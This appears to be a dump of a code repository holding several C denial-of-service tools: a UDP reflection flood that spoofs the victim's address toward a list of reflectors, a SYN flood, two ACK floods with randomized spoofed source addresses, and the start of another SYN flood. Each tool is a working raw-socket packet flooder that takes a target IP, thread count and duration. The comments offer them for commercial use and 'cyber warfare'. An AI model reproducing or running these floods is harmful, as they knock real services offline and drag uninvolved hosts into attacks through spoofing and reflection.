 19 |         struct list *next;
 20 |         struct list *prev;
 21 | };
 22 | struct list *head;
 23 | struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
 24 | void init_rand(uint32_t x)
 25 | {
 26 |         int i;
 27 |         Q[0] = x;
 28 |         Q[1] = x + PHI;
 29 |         Q[2] = x + PHI + PHI;
 30 |         for (i = 3; i < 4096; i++)
 31 |         {
 32 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 33 |         }
 34 | }
 35 |  
 36 | uint32_t rand_cmwc(void)
 37 | {
 38 |         uint64_t t, a = 18782LL;
 39 |         static uint32_t i = 4095;
 40 |         uint32_t x, r = 0xfffffffe;
 41 |         i = (i + 1) & 4095;
 42 |         t = a * Q[i] + c;
 43 |         c = (t >> 32);
 44 |         x = t + c;
 45 |         if (x < c) {
 46 |                 x++;
 47 |                 c++;
 48 |         }
 49 |         return (Q[i] = r - x);
 50 | }
 51 |  
 52 | /* function for header checksums */
 53 | unsigned short csum (unsigned short *buf, int nwords)
 54 | {
 55 |         unsigned long sum;
 56 |         for (sum = 0; nwords > 0; nwords--)
 57 |         sum += *buf++;
 58 |         sum = (sum >> 16) + (sum & 0xffff);
 59 |         sum += (sum >> 16);
 60 |         return (unsigned short)(~sum);
 61 | }
 62 |  
 63 | void setup_ip_header(struct iphdr *iph)
 64 | {
 65 |       iph->ihl = 5;
 66 |       iph->version = 4;
 67 |       iph->tos = 0;
 68 |       iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + payloadsize;
 69 |       iph->id = htonl(54321);
 70 |       iph->frag_off = 0;
 71 |       iph->ttl = MAXTTL;
 72 |       iph->protocol = IPPROTO_UDP;
 73 |       iph->check = 0;
 74 |       iph->saddr = inet_addr("192.168.3.100");
 75 | }
 76 |  
 77 | void setup_udp_header(struct udphdr *udph)
 78 | {
 79 |       udph->source = htons(5678);
 80 |       udph->dest = htons(xport);
 81 |       udph->check = 0;
 82 |       memcpy((void *)udph + sizeof(struct udphdr), "\x17\x00\x03\x2a\x00\x00\x00\x00", payloadsize);
 83 |       udph->len=htons(sizeof(struct udphdr) + payloadsize);
 84 | }
 85 |  
 86 | void *flood(void *par1)
 87 | {
 88 |         struct thread_data *td = (struct thread_data *)par1;
 89 |         char datagram[MAX_PACKET_SIZE];
 90 |         struct iphdr *iph = (struct iphdr *)datagram;
 91 |         struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 92 |         struct sockaddr_in sin = td->sin;
 93 |         struct  list *list_node = td->list_node;
 94 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
 95 |         if(s < 0){
 96 |                 fprintf(stderr, "Could not open raw socket.\n");
 97 |                 exit(-1);
 98 |         }
 99 |         init_rand(time(NULL));
100 |         memset(datagram, 0, MAX_PACKET_SIZE);
101 |         setup_ip_header(iph);
102 |         setup_udp_header(udph);
103 |         udph->source = sin.sin_port;
104 |         iph->saddr = sin.sin_addr.s_addr;
105 |         iph->daddr = list_node->data.sin_addr.s_addr;
106 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
107 |         int tmp = 1;
108 |         const int *val = &tmp;
109 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
110 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
111 |                 exit(-1);
112 |         }
113 |         int i=0;
114 |         while(1){
115 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
116 |                 list_node = list_node->next;
117 |                 iph->daddr = list_node->data.sin_addr.s_addr;
118 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
119 |                 if(i==5)
120 |                 {
121 |                         usleep(0);
122 |                         i=0;
123 |                 }
124 |                 i++;
125 |         }
126 | }
127 | int main(int argc, char *argv[ ])
128 | {
129 |         if(argc < 4){
130 |                 fprintf(stderr, "Invalid parameters!\n");
131 |                 fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
132 |                 exit(-1);
133 |         }
134 |         int i = 0;
135 |         head = NULL;
136 |         fprintf(stdout, "Setting up Sockets...\n");
137 |         int max_len = 128;
138 |         char *buffer = (char *) malloc(max_len);
139 |         buffer = memset(buffer, 0x00, max_len);
140 |         int num_threads = atoi(argv[4]);
141 |         FILE *list_fd = fopen(argv[3],  "r");
142 |         while (fgets(buffer, max_len, list_fd) != NULL) {
143 |                 if ((buffer[strlen(buffer) - 1] == '\n') ||
144 |                                 (buffer[strlen(buffer) - 1] == '\r')) {
145 |                         buffer[strlen(buffer) - 1] = 0x00;
146 |                         if(head == NULL)
147 |                         {
148 |                                 head = (struct list *)malloc(sizeof(struct list));
149 |                                 bzero(&head->data, sizeof(head->data));
150 |                                 head->data.sin_addr.s_addr=inet_addr(buffer);
151 |                                 head->next = head;
152 |                                 head->prev = head;
153 |                         } else {
154 |                                 struct list *new_node = (struct list *)malloc(sizeof(struct list));
155 |                                 memset(new_node, 0x00, sizeof(struct list));
156 |                                 new_node->data.sin_addr.s_addr=inet_addr(buffer);
157 |                                 new_node->prev = head;
158 |                                 new_node->next = head->next;
159 |                                 head->next = new_node;
160 |                         }
161 |                         i++;
162 |                 } else {
163 |                         continue;
164 |                 }
165 |         }
166 |         struct list *current = head->next;
167 |         pthread_t thread[num_threads];
168 |         struct sockaddr_in sin;
169 |         sin.sin_family = AF_INET;
170 |         sin.sin_port = htons(atoi(argv[2]));
171 |         sin.sin_addr.s_addr = inet_addr(argv[1]);
172 |         struct thread_data td[num_threads];
173 |         for(i = 0;i<num_threads;i++){
174 |                 td[i].thread_id = i;
175 |                 td[i].sin= sin;
176 |                 td[i].list_node = current;
177 |                 pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
178 |         }
179 |         fprintf(stdout, "Starting Flood...\n");
180 |         if(argc > 5)
181 |         {
182 |                 sleep(atoi(argv[5]));
183 |         } else {
184 |                 while(1){
185 |                         sleep(1);
186 |                 }
187 |         }
188 |         return 0;
189 | }


--------------------------------------------------------------------------------
/rssyn.c.c:
--------------------------------------------------------------------------------
  1 | #include <unistd.h>
  2 | #include <time.h>
  3 | #include <sys/types.h>
  4 | #include <sys/socket.h>
  5 | #include <sys/ioctl.h>
  6 | #include <string.h>
  7 | #include <stdlib.h>
  8 | #include <stdio.h>
  9 | #include <pthread.h>
 10 | #include <netinet/tcp.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/in.h>
 13 | #include <netinet/if_ether.h>
 14 | #include <netdb.h>
 15 | #include <net/if.h>
 16 | #include <arpa/inet.h>
 17 |  
 18 | #define MAX_PACKET_SIZE 4096
 19 | #define PHI 0x9e3779b9
 20 |  
 21 | static unsigned long int Q[4096], c = 362436;
 22 | static unsigned int floodport;
 23 | volatile int limiter;
 24 | volatile unsigned int pps;
 25 | volatile unsigned int sleeptime = 100;
 26 |  
 27 | void init_rand(unsigned long int x)
 28 | {
 29 |         int i;
 30 |         Q[0] = x;
 31 |         Q[1] = x + PHI;
 32 |         Q[2] = x + PHI + PHI;
 33 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 34 | }
 35 | unsigned long int rand_cmwc(void)
 36 | {
 37 |         unsigned long long int t, a = 18782LL;
 38 |         static unsigned long int i = 4095;
 39 |         unsigned long int x, r = 0xfffffffe;
 40 |         i = (i + 1) & 4095;
 41 |         t = a * Q[i] + c;
 42 |         c = (t >> 32);
 43 |         x = t + c;
 44 |         if (x < c) {
 45 |                 x++;
 46 |                 c++;
 47 |         }
 48 |         return (Q[i] = r - x);
 49 | }
 50 | unsigned short csum (unsigned short *buf, int count)
 51 | {
 52 |         register unsigned long sum = 0;
 53 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 54 |         if(count > 0) { sum += *(unsigned char *)buf; }
 55 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 56 |         return (unsigned short)(~sum);
 57 | }
 58 |  
 59 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 60 |  
 61 |         struct tcp_pseudo
 62 |         {
 63 |                 unsigned long src_addr;
 64 |                 unsigned long dst_addr;
 65 |                 unsigned char zero;
 66 |                 unsigned char proto;
 67 |                 unsigned short length;
 68 |         } pseudohead;
 69 |         unsigned short total_len = iph->tot_len;
 70 |         pseudohead.src_addr=iph->saddr;
 71 |         pseudohead.dst_addr=iph->daddr;
 72 |         pseudohead.zero=0;
 73 |         pseudohead.proto=IPPROTO_TCP;
 74 |         pseudohead.length=htons(sizeof(struct tcphdr));
 75 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 76 |         unsigned short *tcp = malloc(totaltcp_len);
 77 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 78 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 79 |         unsigned short output = csum(tcp,totaltcp_len);
 80 |         free(tcp);
 81 |         return output;
 82 | }
 83 |  
 84 | void setup_ip_header(struct iphdr *iph)
 85 | {
 86 |         iph->ihl = 5;
 87 |         iph->version = 4;
 88 |         iph->tos = 0;
 89 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 90 |         iph->id = htonl(54321);
 91 |         iph->frag_off = 0;
 92 |         iph->ttl = MAXTTL;
 93 |         iph->protocol = 6;
 94 |         iph->check = 0;
 95 |         iph->saddr = inet_addr("192.168.3.100");
 96 | }
 97 |  
 98 | void setup_tcp_header(struct tcphdr *tcph)
 99 | {
100 |         tcph->source = htons(5678);
101 |         tcph->seq = rand();
102 |         tcph->ack_seq = 1;
103 |         tcph->res2 = 1;
104 |         tcph->doff = 5;
105 |         tcph->syn = 1;
106 |         tcph->window = htons(65535);
107 |         tcph->check = 1;
108 |         tcph->urg_ptr = 1;
109 | }
110 |  
111 | void *flood(void *par1)
112 | {
113 |         char *td = (char *)par1;
114 |         char datagram[MAX_PACKET_SIZE];
115 |         struct iphdr *iph = (struct iphdr *)datagram;
116 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
117 |        
118 |         struct sockaddr_in sin;
119 |         sin.sin_family = AF_INET;
120 |         sin.sin_port = htons(floodport);
121 |         sin.sin_addr.s_addr = inet_addr(td);
122 |  
123 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
124 |         if(s < 0){
125 |                 fprintf(stderr, "Could not open raw socket.\n");
126 |                 exit(-1);
127 |         }
128 |         memset(datagram, 0, MAX_PACKET_SIZE);
129 |         setup_ip_header(iph);
130 |         setup_tcp_header(tcph);
131 |  
132 |         tcph->dest = htons(floodport);
133 |  
134 |         iph->daddr = sin.sin_addr.s_addr;
135 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
136 |  
137 |         int tmp = 1;
138 |         const int *val = &tmp;
139 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
140 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
141 |                 exit(-1);
142 |         }
143 |  
144 |         init_rand(time(NULL));
145 |         register unsigned int i;
146 |         i = 0;
147 |         while(1){
148 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
149 |  
150 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
151 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
152 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
153 |                 tcph->seq = rand_cmwc() & 0xFFFF;
154 |                 tcph->source = htons(rand_cmwc() & 0xFFFF);
155 |                 tcph->check = 0;
156 |                 tcph->check = tcpcsum(iph, tcph);
157 |                
158 |                 pps++;
159 |                 if(i >= limiter)
160 |                 {
161 |                         i = 0;
162 |                         usleep(sleeptime);
163 |                 }
164 |                 i++;
165 |         }
166 | }
167 | int main(int argc, char *argv[ ])
168 | {
169 |         if(argc < 6){
170 |                 fprintf(stderr, "Invalid parameters!\n");
171 |                 fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
172 |                 exit(-1);
173 |         }
174 |  
175 |         fprintf(stdout, "Setting up Sockets...\n");
176 |  
177 |         int num_threads = atoi(argv[3]);
178 |         floodport = atoi(argv[2]);
179 |         int maxpps = atoi(argv[4]);
180 |         limiter = 0;
181 |         pps = 0;
182 |         pthread_t thread[num_threads];
183 |        
184 |         int multiplier = 20;
185 |  
186 |         int i;
187 |         for(i = 0;i<num_threads;i++){
188 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
189 |         }
190 |         fprintf(stdout, "Starting Flood...\n");
191 |         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
192 |         {
193 |                 usleep((1000/multiplier)*1000);
194 |                 if((pps*multiplier) > maxpps)
195 |                 {
196 |                         if(1 > limiter)
197 |                         {
198 |                                 sleeptime+=100;
199 |                         } else {
200 |                                 limiter--;
201 |                         }
202 |                 } else {
203 |                         limiter++;
204 |                         if(sleeptime > 25)
205 |                         {
206 |                                 sleeptime-=25;
207 |                         } else {
208 |                                 sleeptime = 0;
209 |                         }
210 |                 }
211 |                 pps = 0;
212 |         }
213 |  
214 |         return 0;
215 | }


--------------------------------------------------------------------------------
/xack.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 |  
 21 | #define MAX_PACKET_SIZE 65534
 22 | #define PHI 0x9e3779b9
 23 |  
 24 | static unsigned long int Q[4096], c = 362436;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 |  
 29 | void init_rand(unsigned long int x)
 30 | {
 31 |         int i;
 32 |         Q[0] = x;
 33 |         Q[1] = x + PHI;
 34 |         Q[2] = x + PHI + PHI;
 35 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 36 | }
 37 | unsigned long int rand_cmwc(void)
 38 | {
 39 |         unsigned long long int t, a = 18782LL;
 40 |         static unsigned long int i = 4095;
 41 |         unsigned long int x, r = 0xfffffffe;
 42 |         i = (i + 1) & 4095;
 43 |         t = a * Q[i] + c;
 44 |         c = (t >> 32);
 45 |         x = t + c;
 46 |         if (x < c) {
 47 |                 x++;
 48 |                 c++;
 49 |         }
 50 |         return (Q[i] = r - x);
 51 | }
 52 | unsigned short csum (unsigned short *buf, int count)
 53 | {
 54 |         register unsigned long sum = 0;
 55 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 56 |         if(count > 0) { sum += *(unsigned char *)buf; }
 57 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 58 |         return (unsigned short)(~sum);
 59 | }
 60 |  
 61 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 62 |  
 63 |         struct tcp_pseudo
 64 |         {
 65 |                 unsigned long src_addr;
 66 |                 unsigned long dst_addr;
 67 |                 unsigned char zero;
 68 |                 unsigned char proto;
 69 |                 unsigned short length;
 70 |         } pseudohead;
 71 |         unsigned short total_len = iph->tot_len;
 72 |         pseudohead.src_addr=iph->saddr;
 73 |         pseudohead.dst_addr=iph->daddr;
 74 |         pseudohead.zero=0;
 75 |         pseudohead.proto=IPPROTO_TCP;
 76 |         pseudohead.length=htons(sizeof(struct tcphdr));
 77 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 78 |         unsigned short *tcp = malloc(totaltcp_len);
 79 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 80 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 81 |         unsigned short output = csum(tcp,totaltcp_len);
 82 |         free(tcp);
 83 |         return output;
 84 | }
 85 |  
 86 | void setup_ip_header(struct iphdr *iph)
 87 | {
 88 |         iph->ihl = 5;
 89 |         iph->version = 4;
 90 |         iph->tos = 0;
 91 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 92 |         iph->id = htonl(54321);
 93 |         iph->frag_off = 0;
 94 |         iph->ttl = MAXTTL;
 95 |         iph->protocol = 6;
 96 |         iph->check = 0;
 97 |         iph->saddr = inet_addr("192.168.3.100");
 98 | }
 99 |  
100 | void setup_tcp_header(struct tcphdr *tcph)
101 | {
102 |         tcph->source = rand();
103 |         tcph->seq = rand();
104 |         tcph->ack_seq = rand();
105 |         tcph->res2 = 0;
106 |         tcph->doff = 5;
107 |         tcph->ack = 1;
108 |         tcph->window = rand();
109 |         tcph->check = 0;
110 |         tcph->urg_ptr = 0;
111 | }
112 |  
113 | void *flood(void *par1)
114 | {
115 |         char *td = (char *)par1;
116 |         char datagram[MAX_PACKET_SIZE];
117 |         struct iphdr *iph = (struct iphdr *)datagram;
118 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
119 |        
120 |         struct sockaddr_in sin;
121 |         sin.sin_family = AF_INET;
122 |         sin.sin_port = rand();
123 |         sin.sin_addr.s_addr = inet_addr(td);
124 |  
125 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
126 |         if(s < 0){
127 |                 fprintf(stderr, "Could not open raw socket.\n");
128 |                 exit(-1);
129 |         }
130 |         memset(datagram, 0, MAX_PACKET_SIZE);
131 |         setup_ip_header(iph);
132 |         setup_tcp_header(tcph);
133 |  
134 |         tcph->dest = rand();
135 |  
136 |         iph->daddr = sin.sin_addr.s_addr;
137 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
138 |  
139 |         int tmp = 1;
140 |         const int *val = &tmp;
141 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
142 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
143 |                 exit(-1);
144 |         }
145 |  
146 |         init_rand(time(NULL));
147 |         register unsigned int i;
148 |         i = 0;
149 |         while(1){
150 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
151 |  
152 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
153 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
154 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
155 |                 tcph->seq = rand_cmwc() & 0xFFFF;
156 |                 tcph->source = htons(rand_cmwc() & 0xFFFF);
157 |                 tcph->check = 0;
158 |                 tcph->check = tcpcsum(iph, tcph);
159 |                
160 |                 pps++;
161 |                 if(i >= limiter)
162 |                 {
163 |                         i = 0;
164 |                         usleep(sleeptime);
165 |                 }
166 |                 i++;
167 |         }
168 | }
169 | int main(int argc, char *argv[ ])
170 | {
171 |         if(argc < 5){
172 |                 fprintf(stderr, "Improper ACK flood parameters!\n");
173 |                 fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
174 |                 exit(-1);
175 |         }
176 |  
177 |         fprintf(stdout, "Setting up Sockets...\n");
178 |  
179 |         int num_threads = atoi(argv[2]);
180 |         int maxpps = atoi(argv[3]);
181 |         limiter = 0;
182 |         pps = 0;
183 |         pthread_t thread[num_threads];
184 |        
185 |         int multiplier = 100;
186 |  
187 |         int i;
188 |         for(i = 0;i<num_threads;i++){
189 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
190 |         }
191 |         fprintf(stdout, "Starting Flood...\n");
192 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
193 |         {
194 |                 usleep((1000/multiplier)*1000);
195 |                 if((pps*multiplier) > maxpps)
196 |                 {
197 |                         if(1 > limiter)
198 |                         {
199 |                                 sleeptime+=100;
200 |                         } else {
201 |                                 limiter--;
202 |                         }
203 |                 } else {
204 |                         limiter++;
205 |                         if(sleeptime > 25)
206 |                         {
207 |                                 sleeptime-=25;
208 |                         } else {
209 |                                 sleeptime = 0;
210 |                         }
211 |                 }
212 |                 pps = 0;
213 |         }
214 |  
215 |         return 0;
216 | }


--------------------------------------------------------------------------------
/sack.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 |  
 21 | #define MAX_PACKET_SIZE 65534
 22 | #define PHI 0x9e3779b9
 23 |  
 24 | static unsigned long int Q[4096], c = 362436;
 25 | volatile int limiter;
 26 | volatile unsigned int pps;
 27 | volatile unsigned int sleeptime = 100;
 28 |  
 29 | void init_rand(unsigned long int x)
 30 | {
 31 |         int i;
 32 |         Q[0] = x;
 33 |         Q[1] = x + PHI;
 34 |         Q[2] = x + PHI + PHI;
 35 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 36 | }
 37 | unsigned long int rand_cmwc(void)
 38 | {
 39 |         unsigned long long int t, a = 18782LL;
 40 |         static unsigned long int i = 4095;
 41 |         unsigned long int x, r = 0xfffffffe;
 42 |         i = (i + 1) & 4095;
 43 |         t = a * Q[i] + c;
 44 |         c = (t >> 32);
 45 |         x = t + c;
 46 |         if (x < c) {
 47 |                 x++;
 48 |                 c++;
 49 |         }
 50 |         return (Q[i] = r - x);
 51 | }
 52 | unsigned short csum (unsigned short *buf, int count)
 53 | {
 54 |         register unsigned long sum = 0;
 55 |         while( count > 1 ) { sum += *buf++; count -= 2; }
 56 |         if(count > 0) { sum += *(unsigned char *)buf; }
 57 |         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 58 |         return (unsigned short)(~sum);
 59 | }
 60 |  
 61 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 62 |  
 63 |         struct tcp_pseudo
 64 |         {
 65 |                 unsigned long src_addr;
 66 |                 unsigned long dst_addr;
 67 |                 unsigned char zero;
 68 |                 unsigned char proto;
 69 |                 unsigned short length;
 70 |         } pseudohead;
 71 |         unsigned short total_len = iph->tot_len;
 72 |         pseudohead.src_addr=iph->saddr;
 73 |         pseudohead.dst_addr=iph->daddr;
 74 |         pseudohead.zero=0;
 75 |         pseudohead.proto=IPPROTO_TCP;
 76 |         pseudohead.length=htons(sizeof(struct tcphdr));
 77 |         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 78 |         unsigned short *tcp = malloc(totaltcp_len);
 79 |         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 80 |         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 81 |         unsigned short output = csum(tcp,totaltcp_len);
 82 |         free(tcp);
 83 |         return output;
 84 | }
 85 |  
 86 | void setup_ip_header(struct iphdr *iph)
 87 | {
 88 |         iph->ihl = 5;
 89 |         iph->version = 4;
 90 |         iph->tos = 0;
 91 |         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 92 |         iph->id = htonl(54321);
 93 |         iph->frag_off = 0;
 94 |         iph->ttl = MAXTTL;
 95 |         iph->protocol = 6;
 96 |         iph->check = 0;
 97 |         iph->saddr = inet_addr("192.168.3.100");
 98 | }
 99 |  
100 | void setup_tcp_header(struct tcphdr *tcph)
101 | {
102 |         tcph->source = rand();
103 |         tcph->seq = rand();
104 |         tcph->ack_seq = rand();
105 |         tcph->res2 = 0;
106 |         tcph->doff = 5;
107 |         tcph->ack = 1;
108 |         tcph->window = htons(65535);
109 |         tcph->check = 0;
110 |         tcph->urg_ptr = 0;
111 | }
112 |  
113 | void *flood(void *par1)
114 | {
115 |         char *td = (char *)par1;
116 |         char datagram[MAX_PACKET_SIZE];
117 |         struct iphdr *iph = (struct iphdr *)datagram;
118 |         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
119 |        
120 |         struct sockaddr_in sin;
121 |         sin.sin_family = AF_INET;
122 |         sin.sin_port = rand();
123 |         sin.sin_addr.s_addr = inet_addr(td);
124 |  
125 |         int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
126 |         if(s < 0){
127 |                 fprintf(stderr, "Could not open raw socket.\n");
128 |                 exit(-1);
129 |         }
130 |         memset(datagram, 0, MAX_PACKET_SIZE);
131 |         setup_ip_header(iph);
132 |         setup_tcp_header(tcph);
133 |  
134 |         tcph->dest = rand();
135 |  
136 |         iph->daddr = sin.sin_addr.s_addr;
137 |         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
138 |  
139 |         int tmp = 1;
140 |         const int *val = &tmp;
141 |         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
142 |                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
143 |                 exit(-1);
144 |         }
145 |  
146 |         init_rand(time(NULL));
147 |         register unsigned int i;
148 |         i = 0;
149 |         while(1){
150 |                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
151 |  
152 |                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
153 |                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
154 |                 iph->check = csum ((unsigned short *) datagram, iph->tot_len);
155 |                 tcph->seq = rand_cmwc() & 0xFFFF;
156 |                 tcph->source = htons(rand_cmwc() & 0xFFFF);
157 |                 tcph->check = 0;
158 |                 tcph->check = tcpcsum(iph, tcph);
159 |                
160 |                 pps++;
161 |                 if(i >= limiter)
162 |                 {
163 |                         i = 0;
164 |                         usleep(sleeptime);
165 |                 }
166 |                 i++;
167 |         }
168 | }
169 | int main(int argc, char *argv[ ])
170 | {
171 |         if(argc < 5){
172 |                 fprintf(stderr, "Improper ACK flood parameters!\n");
173 |                 fprintf(stdout, "Usage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
174 |                 exit(-1);
175 |         }
176 |  
177 |         fprintf(stdout, "Setting up Sockets...\n");
178 |  
179 |         int num_threads = atoi(argv[2]);
180 |         int maxpps = atoi(argv[3]);
181 |         limiter = 0;
182 |         pps = 0;
183 |         pthread_t thread[num_threads];
184 |        
185 |         int multiplier = 100;
186 |  
187 |         int i;
188 |         for(i = 0;i<num_threads;i++){
189 |                 pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
190 |         }
191 |         fprintf(stdout, "Starting Flood...\n");
192 |         for(i = 0;i<(atoi(argv[4])*multiplier);i++)
193 |         {
194 |                 usleep((1000/multiplier)*1000);
195 |                 if((pps*multiplier) > maxpps)
196 |                 {
197 |                         if(1 > limiter)
198 |                         {
199 |                                 sleeptime+=100;
200 |                         } else {
201 |                                 limiter--;
202 |                         }
203 |                 } else {
204 |                         limiter++;
205 |                         if(sleeptime > 25)
206 |                         {
207 |                                 sleeptime-=25;
208 |                         } else {
209 |                                 sleeptime = 0;
210 |                         }
211 |                 }
212 |                 pps = 0;
213 |         }
214 |  
215 |         return 0;
216 | }


--------------------------------------------------------------------------------
/essyn.c.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |         This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 |  
 21 | #define MAX_PACKET_SIZE 4096
 22 | #define PHI 0x9e3779b9
 23 |  
 24 | static unsigned long int Q[4096], c = 362436;
 25 | static unsigned int floodport;
 26 | volatile int limiter;
 27 | volatile unsigned int pps;
 28 | volatile unsigned int sleeptime = 100;
 29 |  
 30 | void init_rand(unsigned long int x)
 31 | {
 32 |         int i;
 33 |         Q[0] = x;
 34 |         Q[1] = x + PHI;
 35 |         Q[2] = x + PHI + PHI;
 36 |         for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 37 | }
 38 | unsigned long int rand_cmwc(void)
